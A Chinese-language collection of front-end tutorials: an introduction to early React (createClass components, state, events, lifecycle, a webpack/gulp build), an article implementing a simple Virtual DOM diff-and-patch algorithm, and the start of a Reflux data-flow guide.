var DemoComponent = React.createClass({
    // 使用 render 方法自动渲染 DOM
    render: function () {
        return (


<div className="component-hello">
                <h1 className="hello-title">Hello React</h1>
                <p  className="hello-desc">React 初探</p>
                <div className="hello-movies">
                    <p2>我喜欢的电影</p2>
                    <ul>
                        <li className="movie-item">
                            <span className="movie-name">速度与激情7</span>
                            -
                            <span className="movie-date">2015</span>
                        </li>
                    </ul>
                </div>
            </div>


        )
    }
});

// 将组件插入到网页中指定的位置
React.render(<DemoComponent />, document.getElementById('demo'));



在线演示 demo/render


示例代码 demo/render


设置初始数据


第一次渲染真实 DOM 时将使用 getInitialState() 返回的数据。


// 使用 React.createClass 创建一个组件
var DemoComponent = React.createClass({
    // getInitialState 中返回的值将会作为数据的默认值
    getInitialState: function () {
        return {
            title: '我喜欢的电影',
            movies: [
                {
                    id: 7,
                    name: '速度与激情7',
                    date: 2015
                },
                {
                    id: 6,
                    name: '速度与激情6',
                    date: 2013
                }
            ]
        }
    },
    // 使用 render 方法自动渲染 DOM
    render: function () {
        // this.state 用于存储数据
        var title  = this.state.title;
        var movies = this.state.movies.map(function (movie) {
            return (
                <li className="movie-item" key={movie.id}>
                    <span className="movie-name">{movie.name}</span>
                    -
                    <span className="movie-date">{movie.date}</span>
                </li>
            )
        });

        return (
            <div className="component-hello">
                <h1 className="hello-title">Hello React</h1>
                <p  className="hello-desc">React 初探</p>

                <div className="hello-movies">
                    <p2>{title}</p2>
                    <ul>{movies}</ul>
                </div>
            </div>
        )
    }
});

// 将组件插入到网页中指定的位置
React.render(<DemoComponent />, document.getElementById('demo'));




在线演示 demo/get-initial-state


示例代码 demo/get-initial-state


动态更新数据


第二次更新渲染真实 DOM 时将使用 setState() 设置的数据。


// 使用 componentDidMount 在组件初始化后执行一些操作
    componentDidMount: function () {
        // 拉取远程数据
        // 开启假数据服务器：
        // cd fake-server && npm install && node index.js
        this.fetchData();
    },

    // 使用自定义的 fetchData 方法从远程服务器获取数据
    fetchData: function () {
        var self = this;
        // 发起 ajax 获取到数据后调用 setState 方法更新组件的数据
        var url = '../../fake-data/movies.json';
        $.getJSON(url, function (movies) {
            // 本地模拟返回太快了，模拟一下网络延迟
            setTimeout(function() {
                self.setState({
                    movies: movies
                });
            }, 2000);
        });
    },



在线演示 demo/set-state


示例代码 demo/set-state


绑定事件


绑定事件时，我们可以使用 ref="name" 属性对一个 DOM 节点进行标记，同时可以通过 React.findDOMNode(this.refs.name) 获取到这个节点的原生 DOM。


// 使用 render 方法自动渲染 DOM
    render: function () {
        var self = this;
        // this.state 用于存储数据
        var title  = this.state.title;
        var movies = this.state.movies.map(function (movie) {
            return (
                <li className="movie-item" key={movie.id}>
                    <span className="movie-name">{movie.name}</span>
                    -
                    <span className="movie-date">{movie.date}</span>
                    <a href="#" onClick={self.onRemove.bind(null, movie)}>删除</a>
                </li>
            )
        }.bind(this));// 注意这里 bind(this) 修正了上下文

        return (
            <div className="component-hello">
                <h1 className="hello-title">Hello React</h1>
                <p  className="hello-desc">React 初探</p>

                <div className="hello-movies">
                    <p2>{title}</p2>
                    <form onSubmit={this.onAdd}>
                        {/* 注意这里指定 ref 属性，然后我们就可以使用 this.refs.xxx 访问到 */}
                        <input type="text" ref="name" placehlder="输入你喜欢的电影"/>
                        <input type="text" ref="date" placeholder="上映时间"/>
                        <input type="submit" value="提交"/>
                    </form>
                    <ul>{movies}</ul>
                    {this.state.loading ? <div>大家好我是菊花, 我现在在转</div> : null}
                </div>
            </div>
        )
    }



onRemove: function (movie) {
        var id = movie.id;
        console.log(movie)
        // 删除这个 item
        var movies = this.state.movies;
        var len = movies.length;
        var index = -1;
        for(var i = 0; i < len; i++) {
            var _movie = movies[i];
            if (_movie.id === id) {
                index = i;
                break;
            }
        }
        if (index > 0) {
            movies.splice(index, 1);
            this.setState({
                movies: movies
            });
        }
    },

    onAdd: function (e) {
        e.preventDefault();
        var refs = this.refs;
        var refName = React.findDOMNode(refs.name);
        var refDate = React.findDOMNode(refs.date);
        if (refName.value === '') {
            alert('请输入电影名');
            return;
        } else if (refDate === '') {
            alert('请输入上映时间');
            return;
        }
        var movie = {
            // 使用 findDOMNode 获取到原生的 DOM 对象
            name: refName.value,
            date: refDate.value,
            id: Date.now() // 粗暴地以时间数字作为随机 id
        };

        var movies = this.state.movies;
        movies.push(movie);
        this.setState(movies);

        refName.value = '';
        refDate.value = '';
    },



在线演示 demo/events


示例代码 demo/events


多组件与组件嵌套


一个组件就包含了 JSX 模板、数据维护、事件绑定的话，代码量已经够多了，这时候可以采用 AMD/CMD 的方式，将组件进行更细粒度的划分，可以以文件即组件的方式来编写，这里就不上 demo 了。


组件间通信


在 React 中，数据流是单向的，且组件之间可以嵌套，我们可以通过对最顶层组件传递属性方式，向下层组件传送数据。



	嵌套组件间，使用 this.props  属性向下传递数据


	独立组件之间，自行维护数据则需要自行维护一个全局数据存储，或者使用发布订阅地方式通知数据的更新。




全局数据存储怎么做呢？可以理解为不同的组件获取的数据源一致，在组件的外部维护这个数据集合，或者干脆直接从服务器端获取。


有人会说了，这样很不方便。


但我觉得，既然是一个组件，那就配套有获取组件所需数据的方式，独立组件间有很强的数据依赖时，要么使用上述方式，要么可以简单粗暴，将独立组件用一个顶层组件包裹起来，转化为嵌套组件的关系，即可数据互通。


// 将子组件抽离出来
var LiWrapper = React.createClass({
    render: function () {
        // 使用 this.props 获得传入组件的数据
        var movie = this.props.movie;
        return (
            <li>{/* ... */}</li>
        )
    }
});

// 使用 React.createClass 创建一个组件
var DemoComponent = React.createClass({
    // 使用 getInitialState 的返回值作为数据的默认值
    getInitialState: function () {
      // ...
    },

    // 使用 render 方法自动渲染 DOM
    render: function () {
        // this.state 用于存储数据
        var movies = this.state.movies.map(function (movie) {
            return (
               <LiWrapper movie={movie}/>
            )
        }.bind(this));// 注意这里 bind(this) 修正了上下文

        return (
            <div className="component-hello">
                {/* ... */}
                <div className="hello-movies">
                    <ul>{movies}</ul>
                </div>
            </div>
        )
    }
});

// 将组件插入到网页中指定的位置
// 在使用组件时传入 movies 数据
var movies = [// ...];
React.render(<DemoComponent movies={movies}/>, document.getElementById('demo'));



在线演示 demo/comunications


示例代码 demo/comunications


打造丝滑的构建 使用 ES6  + gulp + webpack


ES6 和 gulp 的话就不多介绍啦。


webpack 是一款新生的前端构建工具，兼容 AMD/CMD 等写法，支持 Browser 和 Node 端共享代码，在浏览器端可以像写 Node 一样方便的进行模块化的划分。


在这里主要用 webpack 的两个插件：



	使用 jsx-loader 这个插件支持 jsx 语法解析


	使用 esx-loader 这个插件支持 es6 语法解析




来看下简单目录结构：



	js/main.js 为入口文件，引入了两个组件。



var React = require('react');

var MovieListComponent = require('./components/movie-list');
var HelloMessageComponent = require('./components/hello');

var movies = [
    {
        id: 5,
        name: '速度与激情5',
        date: 2011
    },
    {
        id: 4,
        name: '速度与激情4',
        date: 2009
    }
];

var wording = '保罗';

var MainComponent = React.createClass({
    render: function () {
        return (


<div className="component-hello">
                <HelloMessageComponent name={wording}/>
                <MovieListComponent movies={movies} />
            </div>


        )
    }
});

React.render(<MainComponent />, document.getElementById('demo'));





	js/components/movie-list.js 组件为 JSX 语法编写



var React = require('react');

// 引入子组件
var MovieComponent = require('./movie');

// 使用 React.createClass 创建一个组件
var MovieListComponent = React.createClass({
    // 使用 getInitialState 的返回值作为数据的默认值
    getInitialState: function () {
        return {
            loading: true,
            title: '我喜欢的电影',
            // 注意这里将 外部传入的数据赋值给了 this.state
            movies: []
        }
    },

    // 使用 render 方法自动渲染 DOM
    render: function () {
        // this.state 用于存储数据
        var title  = this.state.title;
        // this.props 用于从组件外部传入数据
        var movies = this.props.movies;
        movies = movies.map(function (movie) {
            return (
                <MovieComponent movie={movie}/>
            )
        }.bind(this));// 注意这里 bind(this) 修正了上下文

        return (
            <ul>{movies}</ul>
        )
    }
});

module.exports = MovieListComponent;




	js/components/hello.js 组件为 ES6 + JSX 语法编写



var React = require('react');

class HelloComponent extends React.Component {
    constructor(props) {
        super(props);
        this.state = {wording: '你好呀, '};
    }
    render() {
        return 

<div>{this.state.wording} {this.props.name}</div>

;
    }
}

module.exports = HelloComponent;





	webpack.config.js 指定 jsx-loader 和 es6-loader



module.exports = {
    entry: ['./js/main.js'],
    output: {
        path: __dirname,
        filename: 'js/bundle.js'
    },
    module: {
        loaders: [
            { test: /\.js$/, loader: 'es6-loader' },
            { test: /\.js$/, loader: 'jsx-loader' }
        ]
    }
};




	gulpfile.js 在这里配置 webpack 任务，启动文件监听



var gulp = require('gulp');
var livereload = require('gulp-livereload');
var webpack = require("gulp-webpack");

var webpackConfig = require('./webpack.config');

gulp.task("webpack", function() {
    return gulp.src('./js/main.js')
        .pipe(webpack(webpackConfig))
        .pipe(gulp.dest('.'));
});

gulp.task('watch', function() {
    livereload.listen();
    gulp.watch(['js/**/*.js', '!js/bundle.js'], ['webpack']);
});

gulp.task('default', [
    'webpack',
    'watch'
]);




	index.html 示例页面，引入 webpack 打包后的 js/bundle.js



<!-- React 真实 DOM 将会插入到这里 -->
<div id="demo"></div>
<script src="./js/bundle.js"></script>



在 js/main.js 中引入两个不同的组件，然后在 webpack.config.js 中指定编译 JSX 和 ES6 的 loader 工具，使用 gulp 监听 js/ 中文件变化，自动编译出的 js/bundle.js 将被 index.html 引用。


嗯，再在 webpack 中加入各种你喜欢的 loader，在 gulp 中加上各种 css、js、img 的处理任务，编写代码，自动重新编译，纵享丝滑。


示例代码


零碎总结


文章到这里应该就算结束了，接下来是一些在学习过程中记下来的几个小点，也分享给大家。


简单理解 JSX 语法


JSX 把 JS 和 HTML 糅合起来了，这么理解是不是感觉比较简单：



  遇到 {} 包裹的是 JS，遇到 <> 包裹的是 HTML




render() 中 返回的的 JSX 模板需要一个根元素包裹起来


比如：


// 错误的写法
var MyComponent = React.createClass({
    render: function () {
        return (
            <h1>速度与激情7</h1>
            <p>致敬保罗</p>
        )
    }
});



应该写成：


// 正确的写法
var MyComponent = React.createClass({
    render: function () {
        return (
            <div>
                <h1>速度与激情7</h1>
                <p>致敬保罗</p>
            </div>
        )
    }
});



几个重要方法



	
render() 返回的是一系列嵌套的组件

	
this.props 获取父组件传递给子组件的数据

	
this.setState({data: data}); 用于动态更新状态，设置数据（设置后UI会自动刷新）

	
getInitialState() 在整个组件的生命周期中只会执行一次，用于初始化数据

	
componentDidMount 会在 render 后自动调用，用于异步获取数据，更新数据



操作数据的流程



	
gitInitialState() 初始化数据

	
render() 渲染初始化数据

	
componentDidMount() 异步获取数据

	
setState() 更新数据



理解一个组件的状态转换


每一个组件都可以理解为有一个简单的状态机。


调用 setState(data, callback) 后，data 将会混入 this.state 中，数据得到了更新，render() 就会被调用，UI 就能被更新。


组件之间如何通信


<Parent><Child /></Parent>



父组件可以获取到子组件：this.props.children


render() 永远不要手动调用


render() 在 React 创建时会调用一次，在数据更新时调用 setState() 方法则会继续调用它来更新网页中的真实 DOM。


使用 getInitial() 设置默认值


这个方法返回的值会在组件初始化第一次调用 render() 时就被使用


class 是关键字，改用 className


// 错误的写法
var MyComponent = React.createClass({
    render: function () {
        return (
            <div class="movie">
                <h1>速度与激情7</h1>
                <p>致敬保罗</p>
            </div>
        )
    }
});



应该写成：


// 正确的写法
var MyComponent = React.createClass({
    render: function () {
        return (
            <div className="movie">
                <h1>速度与激情7</h1>
                <p>致敬保罗</p>
            </div>
        )
    }
});



组件名大写，不然不被识别


// 错误的写法
var myComponent = React.createClass({
    render: function () {
        return (


<div class="movie">
                <h1>速度与激情7</h1>
                <p>致敬保罗</p>
            </div>


        )
    }
});

React.render(<myComponent />, document.getElementById('demo'));



应该写成：


// 正确的写法
var MyComponent = React.createClass({
    render: function () {
        return (


<div className="movie">
                <h1>速度与激情7</h1>
                <p>致敬保罗</p>
            </div>


        )
    }
});

React.render(<MyComponent />, document.getElementById('demo'));



怎么隐藏或显示菊花


var MyComponent = React.createClass({
    getInitialState: function () {
        return {
            loading: true
        }
    },
    showLoading: function () {
        this.setState({loading: true})
    },
    hideLoading: function () {
        this.setState({loading: false})
    },
    render: function () {
        return (
            {
                this.state.loading ?
                <div>大家好我是菊花，我在转</div>
                :
                null
            }
        )
    }
});



插入原生的 HTML 片段的方式


React 会为我们过滤 XSS，要让一段 HTML 片段直接显示出来，需要这样：


<div dangerouslySetInnerHTML={{__html: 'First &middot; Second'}} />



让 React 支持移动触摸实践


React.initializeTouchEvents(true);



处理表单


表单因为会因用户交互而变化，所以有特定的一些属性



	input 和 textarea 组件具有 value

	
input[type=checkbox] 和 input[type=radio] 具有 checked

	option 具有 selected，如果要支持多选，可以传入数组：



<select multiple={true} value={['B', 'C']}>



表单项具有 onChange 事件


注意如果这么写：


render: function() {
    return <input type="text" value="Hello!" />;
  }



那每次 render 的时候 input 的 value 都会被重置为 "Hello!"，所以需要这么控制：


getInitialState: function() {
    return {value: 'Hello!'};
  },
  handleChange: function(event) {
    this.setState({value: event.target.value});
  },
  render: function() {
    var value = this.state.value;
    return <input type="text" value={value} onChange={this.handleChange} />;
  }



利用这点，可以无缝地接入一些验证规则，比如限制文字为 140 字：


handleChange: function(event) {
   this.setState({value: event.target.value.substr(0, 140)});
 }



如果不想这么被控制呢？那就在返回 input 的时候，不要设置 value 属性，这样随着用户输入，value 不会被重置：


 render: function() {
    return <input type="text" />;
  }



也可以设置默认值：


render: function() {
    return <input type="text" defaultValue="Hello!" />;
  }



除了 defaultValue 之外，还支持 defaultChecked


理解虚拟 DOM


React 会在内存里维护一个代表 DOM  的结构，调用

render 方法时才生成真正的 DOM 插入到网页中。


理解组件的生命周期


一个组件的声明周期可以理解为三个阶段：



	mounting     组件正在插入到 DOM 中

	updating     组件正在重新注入新数据后更新到 DOM 中

	unmounting 组件从 DOM 中移除



mounting 阶段



	
getInitialState() 被调用，返回原始数据

	
componentWillMount() 在组件 mounting 前调用

	
componentDidMount() 在组件 mounting 完成后调用



updating 阶段



	
componentWillReceiveProps(nextProps) 在接收到新的 props 时调用

	
shouldComponentUpdate(nextProps, nextState) 在组件需要更新 DOM 时调用，若这个函数返回 false 则告诉 React 不要更新

	
componentWillUpdate(nextProps, nextState) 在更新发生时调用，可以在这里调用 this.steState() 刷新数据

	
componentDidUpdate(prevProps, prevState) 在更新完成后调用



unmounting 阶段



	componentWillUnmount() 在组件移除时被调用，在这里可以对数据进行清理



强制使用数据更新组件


forceUpdate() 强制使用数据更新组件，而不用调用 this.setState()


获取原生 DOM 元素


React.findDOMNode(component) 返回原生的 DOM 元素

注意要获取原生的 DOM 元素，必须在 render 被调用， 真正的 DOM 已经被插入到页面中时。


理解 refs


可以把 refs 理解为我们在 HTML 中的id，用于定位到指定的组件。


<form onSubmit={this.onAdd}>
    {/* 注意这里指定 ref 属性，然后我们就可以使用 this.refs.xxx 访问到 */}
    <input type="text" ref="name" placehlder="输入你喜欢的电影"/>
    <input type="text" ref="date" placeholder="上映时间"/>
    <input type="submit" value="提交"/>
</form>



ref 属性可以是一个回调函数而不是名字，这个回调会在组件 mounted 后被调用。回调函数使用被引用的组件作为参数。


<input ref={ function(component){ React.findDOMNode(component).focus();} } />



注意不要在 render 方法中访问  refs 属性。
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1 前言

本文会在教你怎么用 300~400 行代码实现一个基本的 Virtual DOM 算法，并且尝试尽量把 Virtual DOM 的算法思路阐述清楚。希望在阅读本文后，能让你深入理解 Virtual DOM 算法，给你现有前端的编程提供一些新的思考。

本文所实现的完整代码存放在 Github。

2 对前端应用状态管理的思考

假如现在你需要写一个像下面一样的表格的应用程序，这个表格可以根据不同的字段进行升序或者降序的展示。



这个应用程序看起来很简单，你可以想出好几种不同的方式来写。最容易想到的可能是，在你的 JavaScript 代码里面存储这样的数据：

var sortKey = "new" // 排序的字段，新增（new）、取消（cancel）、净关注（gain）、累积（cumulate）人数
var sortType = 1 // 升序还是逆序
var data = [{...}, {...}, {..}, ..] // 表格数据

用三个字段分别存储当前排序的字段、排序方向、还有表格数据；然后给表格头部加点击事件：当用户点击特定的字段的时候，根据上面几个字段存储的内容来对内容进行排序，然后用 JS 或者 jQuery 操作 DOM，更新页面的排序状态（表头的那几个箭头表示当前排序状态，也需要更新）和表格内容。

这样做会导致的后果就是，随着应用程序越来越复杂，需要在JS里面维护的字段也越来越多，需要监听事件和在事件回调用更新页面的DOM操作也越来越多，应用程序会变得非常难维护。后来人们使用了 MVC、MVP 的架构模式，希望能从代码组织方式来降低维护这种复杂应用程序的难度。但是 MVC 架构没办法减少你所维护的状态，也没有降低状态更新你需要对页面的更新操作（前端来说就是DOM操作），你需要操作的DOM还是需要操作，只是换了个地方。

既然状态改变了要操作相应的DOM元素，为什么不做一个东西可以让视图和状态进行绑定，状态变更了视图自动变更，就不用手动更新页面了。这就是后来人们想出了 MVVM 模式，只要在模版中声明视图组件是和什么状态进行绑定的，双向绑定引擎就会在状态更新的时候自动更新视图（关于MV*模式的内容，可以看这篇介绍）。

MVVM 可以很好的降低我们维护状态 -> 视图的复杂程度（大大减少代码中的视图更新逻辑）。但是这不是唯一的办法，还有一个非常直观的方法，可以大大降低视图更新的操作：一旦状态发生了变化，就用模版引擎重新渲染整个视图，然后用新的视图更换掉旧的视图。就像上面的表格，当用户点击的时候，还是在JS里面更新状态，但是页面更新就不用手动操作 DOM 了，直接把整个表格用模版引擎重新渲染一遍，然后设置一下innerHTML就完事了。

听到这样的做法，经验丰富的你一定第一时间意识这样的做法会导致很多的问题。最大的问题就是这样做会很慢，因为即使一个小小的状态变更都要重新构造整棵 DOM，性价比太低；而且这样做的话，input和textarea的会失去原有的焦点。最后的结论会是：对于局部的小视图的更新，没有问题（Backbone就是这么干的）；但是对于大型视图，如全局应用状态变更的时候，需要更新页面较多局部视图的时候，这样的做法不可取。

但是这里要明白和记住这种做法，因为后面你会发现，其实 Virtual DOM 就是这么做的，只是加了一些特别的步骤来避免了整棵 DOM 树变更。

另外一点需要注意的就是，上面提供的几种方法，其实都在解决同一个问题：维护状态，更新视图。在一般的应用当中，如果能够很好方案来应对这个问题，那么就几乎降低了大部分复杂性。

3 Virtual DOM算法

DOM是很慢的。如果我们把一个简单的div元素的属性都打印出来，你会看到：



而这仅仅是第一层。真正的 DOM 元素非常庞大，这是因为标准就是这么设计的。而且操作它们的时候你要小心翼翼，轻微的触碰可能就会导致页面重排，这可是杀死性能的罪魁祸首。

相对于 DOM 对象，原生的 JavaScript 对象处理起来更快，而且更简单。DOM 树上的结构、属性信息我们都可以很容易地用 JavaScript 对象表示出来：

var element = {
  tagName: 'ul', // 节点标签名
  props: { // DOM的属性，用一个对象存储键值对
    id: 'list'
  },
  children: [ // 该节点的子节点
    {tagName: 'li', props: {class: 'item'}, children: ["Item 1"]},
    {tagName: 'li', props: {class: 'item'}, children: ["Item 2"]},
    {tagName: 'li', props: {class: 'item'}, children: ["Item 3"]},
  ]
}

上面对应的HTML写法是：

<ul id='list'>
  <li class='item'>Item 1</li>
  <li class='item'>Item 2</li>
  <li class='item'>Item 3</li>
</ul>

既然原来 DOM 树的信息都可以用 JavaScript 对象来表示，反过来，你就可以根据这个用 JavaScript 对象表示的树结构来构建一棵真正的DOM树。

之前的章节所说的，状态变更->重新渲染整个视图的方式可以稍微修改一下：用 JavaScript 对象表示 DOM 信息和结构，当状态变更的时候，重新渲染这个 JavaScript 的对象结构。当然这样做其实没什么卵用，因为真正的页面其实没有改变。

但是可以用新渲染的对象树去和旧的树进行对比，记录这两棵树差异。记录下来的不同就是我们需要对页面真正的 DOM 操作，然后把它们应用在真正的 DOM 树上，页面就变更了。这样就可以做到：视图的结构确实是整个全新渲染了，但是最后操作DOM的时候确实只变更有不同的地方。

这就是所谓的 Virtual DOM 算法。包括几个步骤：


	用 JavaScript 对象结构表示 DOM 树的结构；然后用这个树构建一个真正的 DOM 树，插到文档当中


	当状态变更的时候，重新构造一棵新的对象树。然后用新的树和旧的树进行比较，记录两棵树差异


	把2所记录的差异应用到步骤1所构建的真正的DOM树上，视图就更新了




Virtual DOM 本质上就是在 JS 和 DOM 之间做了一个缓存。可以类比 CPU 和硬盘，既然硬盘这么慢，我们就在它们之间加个缓存：既然 DOM 这么慢，我们就在它们 JS 和 DOM 之间加个缓存。CPU（JS）只操作内存（Virtual DOM），最后的时候再把变更写入硬盘（DOM）。

4 算法实现

4.1 步骤一：用JS对象模拟DOM树

用 JavaScript 来表示一个 DOM 节点是很简单的事情，你只需要记录它的节点类型、属性，还有子节点：

element.js

function Element (tagName, props, children) {
  this.tagName = tagName
  this.props = props
  this.children = children
}

module.exports = function (tagName, props, children) {
  return new Element(tagName, props, children)
}

例如上面的 DOM 结构就可以简单的表示：

var el = require('./element')

var ul = el('ul', {id: 'list'}, [
  el('li', {class: 'item'}, ['Item 1']),
  el('li', {class: 'item'}, ['Item 2']),
  el('li', {class: 'item'}, ['Item 3'])
])

现在ul只是一个 JavaScript 对象表示的 DOM 结构，页面上并没有这个结构。我们可以根据这个ul构建真正的<ul>：

Element.prototype.render = function () {
  var el = document.createElement(this.tagName) // 根据tagName构建
  var props = this.props

  for (var propName in props) { // 设置节点的DOM属性
    var propValue = props[propName]
    el.setAttribute(propName, propValue)
  }

  var children = this.children || []

  children.forEach(function (child) {
    var childEl = (child instanceof Element)
      ? child.render() // 如果子节点也是虚拟DOM，递归构建DOM节点
      : document.createTextNode(child) // 如果字符串，只构建文本节点
    el.appendChild(childEl)
  })

  return el
}

render方法会根据tagName构建一个真正的DOM节点，然后设置这个节点的属性，最后递归地把自己的子节点也构建起来。所以只需要：

var ulRoot = ul.render()
document.body.appendChild(ulRoot)

上面的ulRoot是真正的DOM节点，把它塞入文档中，这样body里面就有了真正的<ul>的DOM结构：

<ul id='list'>
  <li class='item'>Item 1</li>
  <li class='item'>Item 2</li>
  <li class='item'>Item 3</li>
</ul>

完整代码可见 element.js。

4.2 步骤二：比较两棵虚拟DOM树的差异

正如你所预料的，比较两棵DOM树的差异是 Virtual DOM 算法最核心的部分，这也是所谓的 Virtual DOM 的 diff 算法。两个树的完全的 diff 算法是一个时间复杂度为 O(n^3) 的问题。但是在前端当中，你很少会跨越层级地移动DOM元素。所以 Virtual DOM 只会对同一个层级的元素进行对比：



上面的div只会和同一层级的div对比，第二层级的只会跟第二层级对比。这样算法复杂度就可以达到 O(n)。

4.2.1 深度优先遍历，记录差异

在实际的代码中，会对新旧两棵树进行一个深度优先的遍历，这样每个节点都会有一个唯一的标记：



在深度优先遍历的时候，每遍历到一个节点就把该节点和新的的树进行对比。如果有差异的话就记录到一个对象里面。


// diff 函数，对比两棵树
function diff (oldTree, newTree) {
  var index = 0 // 当前节点的标志
  var patches = {} // 用来记录每个节点差异的对象
  dfsWalk(oldTree, newTree, index, patches)
  return patches
}

// 对两棵树进行深度优先遍历
function dfsWalk (oldNode, newNode, index, patches) {
  // 对比oldNode和newNode的不同，记录下来
  patches[index] = [...]
  
  diffChildren(oldNode.children, newNode.children, index, patches)
}

// 遍历子节点
function diffChildren (oldChildren, newChildren, index, patches) {
  var leftNode = null
  var currentNodeIndex = index
  oldChildren.forEach(function (child, i) {
    var newChild = newChildren[i]
    currentNodeIndex = (leftNode && leftNode.count) // 计算节点的标识
      ? currentNodeIndex + leftNode.count + 1
      : currentNodeIndex + 1
    dfsWalk(child, newChild, currentNodeIndex, patches) // 深度遍历子节点
    leftNode = child
  })
}


例如，上面的div和新的div有差异，当前的标记是0，那么：

patches[0] = [{difference}, {difference}, ...] // 用数组存储新旧节点的不同

同理p是patches[1]，ul是patches[3]，类推。

4.2.2 差异类型

上面说的节点的差异指的是什么呢？对 DOM 操作可能会：


	替换掉原来的节点，例如把上面的div换成了section


	移动、删除、新增子节点，例如上面div的子节点，把p和ul顺序互换


	修改了节点的属性


	对于文本节点，文本内容可能会改变。例如修改上面的文本节点2内容为Virtual DOM 2。




所以我们定义了几种差异类型：

var REPLACE = 0
var REORDER = 1
var PROPS = 2
var TEXT = 3

对于节点替换，很简单。判断新旧节点的tagName和是不是一样的，如果不一样的说明需要替换掉。如div换成section，就记录下：

patches[0] = [{
  type: REPALCE,
  node: newNode // el('section', props, children)
}]

如果给div新增了属性id为container，就记录下：

patches[0] = [{
  type: REPALCE,
  node: newNode // el('section', props, children)
}, {
  type: PROPS,
  props: {
    id: "container"
  }
}]

如果是文本节点，如上面的文本节点2，就记录下：

patches[2] = [{
  type: TEXT,
  content: "Virtual DOM2"
}]

那如果把我div的子节点重新排序呢？例如p, ul, div的顺序换成了div, p, ul。这个该怎么对比？如果按照同层级进行顺序对比的话，它们都会被替换掉。如p和div的tagName不同，p会被div所替代。最终，三个节点都会被替换，这样DOM开销就非常大。而实际上是不需要替换节点，而只需要经过节点移动就可以达到，我们只需知道怎么进行移动。

这牵涉到两个列表的对比算法，需要另外起一个小节来讨论。

4.2.3 列表对比算法

假设现在可以英文字母唯一地标识每一个子节点：

旧的节点顺序：

a b c d e f g h i

现在对节点进行了删除、插入、移动的操作。新增j节点，删除e节点，移动h节点：

新的节点顺序：

a b c h d f g h i j

现在知道了新旧的顺序，求最小的插入、删除操作（移动可以看成是删除和插入操作的结合）。这个问题抽象出来其实是字符串的最小编辑距离问题（Edition Distance），最常见的解决算法是 Levenshtein Distance，通过动态规划求解，时间复杂度为 O(M * N)。但是我们并不需要真的达到最小的操作，我们只需要优化一些比较常见的移动情况，牺牲一定DOM操作，让算法时间复杂度达到线性的（O(max(M, N))。具体算法细节比较多，这里不累述，有兴趣可以参考代码。

我们能够获取到某个父节点的子节点的操作，就可以记录下来：

patches[0] = [{
  type: REORDER,
  moves: [{remove or insert}, {remove or insert}, ...]
}]

但是要注意的是，因为tagName是可重复的，不能用这个来进行对比。所以需要给子节点加上唯一标识key，列表对比的时候，使用key进行对比，这样才能复用老的 DOM 树上的节点。

这样，我们就可以通过深度优先遍历两棵树，每层的节点进行对比，记录下每个节点的差异了。完整 diff 算法代码可见 diff.js。

4.3 步骤三：把差异应用到真正的DOM树上

因为步骤一所构建的 JavaScript 对象树和render出来真正的DOM树的信息、结构是一样的。所以我们可以对那棵DOM树也进行深度优先的遍历，遍历的时候从步骤二生成的patches对象中找出当前遍历的节点差异，然后进行 DOM 操作。

function patch (node, patches) {
  var walker = {index: 0}
  dfsWalk(node, walker, patches)
}

function dfsWalk (node, walker, patches) {
  var currentPatches = patches[walker.index] // 从patches拿出当前节点的差异

  var len = node.childNodes
    ? node.childNodes.length
    : 0
  for (var i = 0; i < len; i++) { // 深度遍历子节点
    var child = node.childNodes[i]
    walker.index++
    dfsWalk(child, walker, patches)
  }

  if (currentPatches) {
    applyPatches(node, currentPatches) // 对当前节点进行DOM操作
  }
}

applyPatches，根据不同类型的差异对当前节点进行 DOM 操作：

function applyPatches (node, currentPatches) {
  currentPatches.forEach(function (currentPatch) {
    switch (currentPatch.type) {
      case REPLACE:
        node.parentNode.replaceChild(currentPatch.node.render(), node)
        break
      case REORDER:
        reorderChildren(node, currentPatch.moves)
        break
      case PROPS:
        setProps(node, currentPatch.props)
        break
      case TEXT:
        node.textContent = currentPatch.content
        break
      default:
        throw new Error('Unknown patch type ' + currentPatch.type)
    }
  })
}

完整代码可见 patch.js。

5 结语

Virtual DOM 算法主要是实现上面步骤的三个函数：element，diff，patch。然后就可以实际的进行使用：

// 1. 构建虚拟DOM
var tree = el('div', {'id': 'container'}, [
    el('h1', {style: 'color: blue'}, ['simple virtal dom']),
    el('p', ['Hello, virtual-dom']),
    el('ul', [el('li')])
])

// 2. 通过虚拟DOM构建真正的DOM
var root = tree.render()
document.body.appendChild(root)

// 3. 生成新的虚拟DOM
var newTree = el('div', {'id': 'container'}, [
    el('h1', {style: 'color: red'}, ['simple virtal dom']),
    el('p', ['Hello, virtual-dom']),
    el('ul', [el('li'), el('li')])
])

// 4. 比较两棵虚拟DOM树的不同
var patches = diff(tree, newTree)

// 5. 在真正的DOM元素上应用变更
patch(root, patches)

当然这是非常粗糙的实践，实际中还需要处理事件监听等；生成虚拟 DOM 的时候也可以加入 JSX 语法。这些事情都做了的话，就可以构造一个简单的ReactJS了。

本文所实现的完整代码存放在 Github，仅供学习。

6 References

https://github.com/Matt-Esch/virtual-dom/blob/master/vtree/diff.js


 React Reflux

作者：小俞

来源： React Reflux



                    
概念


Reflux是根据React的flux创建的单向数据流类库。

Reflux的单向数据流模式主要由actions和stores组成。例如，当组件list新增item时，会调用actions的某个方法（如addItem(data)）,并将新的数据当参数传递进去，通过事件机制，数据会传递到stroes中，stores可以向服务器发起请求，并更新数据数据库。数据更新成功后，还是通过事件机制传递的组件list当中，并更新ui。整个过程的对接是通过事件驱动的。就像这样：


╔═════════╗       ╔════════╗       ╔═════════════════╗
║ Actions ║──────>║ Stores ║──────>║ View Components ║
╚═════════╝       ╚════════╝       ╚═════════════════╝
     ^                                      │
     └──────────────────────────────────────┘



代码看起来像这样的：


var TodoActions = Reflux.createActions([
    'addItem'
]);

var TodoStore = Reflux.createStore({
    items: [1, 2],
    listenables: [TodoActions],
    onAddItem: function (model) {
        $.post('/server/add', {data: model}, function (data) {
            this.items.unshift(data);
            this.trigger(this.items);
        });
    }
});


var TodoComponent = React.createClass({
    mixins: [Reflux.listenTo(TodoStore, 'onStatusChange')],
    getInitialState: function () {
        return {list: []};
    },
    onStatusChange: function () {
        this.setState({list: TodoStore.items});
    },
    render: function () {
        return (
            <div>
                {this.state.list.map(function (item) {
                    return <p>{item}</p>
                })}
            </div>
        )
    }
});


React.render(<TodoComponent />, document.getElementById('container'));



同React Flux比较


相同点



	有actions

	有stores

	单向数据流



不同点



	通过内部拓展actions的行为，移除了单例的dispatcher

	stores可以监听actions的行为，无需进行冗杂的switch判断

	stores可以相互监听，可以进行进一步的数据聚合操作，类似于，map/reduce

	waitFor被连续和平行的数据流所替代



创建Action


var statusUpdate = Reflux.createAction(options);



